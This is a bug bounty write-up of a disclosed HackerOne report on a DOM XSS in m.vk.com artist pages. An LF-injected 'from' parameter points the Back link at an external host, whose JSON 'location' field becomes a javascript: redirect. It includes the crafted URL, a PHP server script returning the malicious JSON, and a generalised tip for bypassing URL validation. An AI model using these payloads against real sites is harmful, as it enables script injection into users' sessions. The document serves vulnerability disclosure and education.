# [m.vk.com] XSS на страницах /artist/ 

LF injection in the `from` param on m.vk.com artist pages let an attacker point the Back link at an external URL, whose JSON `location` was then used as a `javascript:` redirect, yielding DOM XSS.

- Payout: $500
- Severity: medium
- Program: VK.com
- Found by: s_p_q_r
- Disclosed: 2021-01-08
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/874198
- Library page: https://bugbountylibrary.com/r/h1%3A874198
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:medium tech:rest technique:chained technique:source-review vuln:open-redirect vuln:xss

**Target:** m.vk.com /artist/ page, `from` parameter and Back-link AJAX navigation
**Root cause:** The `from` parameter was insufficiently validated; a leading LF (`%0A`) bypassed the URL check and injected an external host into the Back link href. The nav handler then trusted the JSON `location` field from that external response as a redirect target without scheme validation.
**Steps:**
1. Visit `https://m.vk.com/artist/marduk?from=%0A/external.com`
2. Observe Back link rendered as `<a href="/  /external.com" ... onclick="return !nav.backToTabHistory(this);">`
3. Click Back: an AJAX request is sent to the injected external URL
4. Attacker server responds `201` with `Content-Type: application/json` and body `{"location":"javascript:alert(document.domain)",...}`
5. Client uses `location` value as redirect target, executing the `javascript:` URI -> DOM XSS
**How found:** Researcher noticed the `from` parameter was reflected into the Back link href and tested a leading LF (`%0A`) to break out of the expected path, then traced the onclick `nav.backToTabHistory` AJAX flow and found the JSON `location` key was used as a redirect sink.
**Exploitation:** Attacker hosts a server returning JSON with `location: javascript:...` and CORS headers; victim opens the crafted artist URL and clicks the Back link, triggering the AJAX nav which redirects to the javascript: URI in the m.vk.com origin.
**Insight:** When a param feeds a link href, try control chars like `%0A`/`%09` to defeat prefix-based URL validation; then follow the click handler's AJAX nav and check whether a JSON `location` field is trusted as a redirect sink without scheme allowlisting.

## Proof of concept (copied exactly from the original report)

**Malicious from parameter with LF injection**

```
https://m.vk.com/artist/marduk?from=%0A/external.com
```

**PHP JSON response with javascript: location for XSS**

```
<?php
    header ('Access-Control-Allow-Origin: *');
	header ('Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, HEAD');
	header ('Access-Control-Allow-Headers: Authorization, x-requested-with, x-ajax-nav');
	header ('Content-Type: application/json');
    
    http_response_code (201);

    echo '{
        "location":"javascript:alert(document.domain)",
        "hard":1,
        "version":"a3e370d711eed8a936b9fda7cdd428604668e845eaded4beefd7e7032ded0cf4",
        "counters":[0,0,0,0,0,0,0,0,0,0,0,0,0,0],
        "type":1
    }';
?>
```

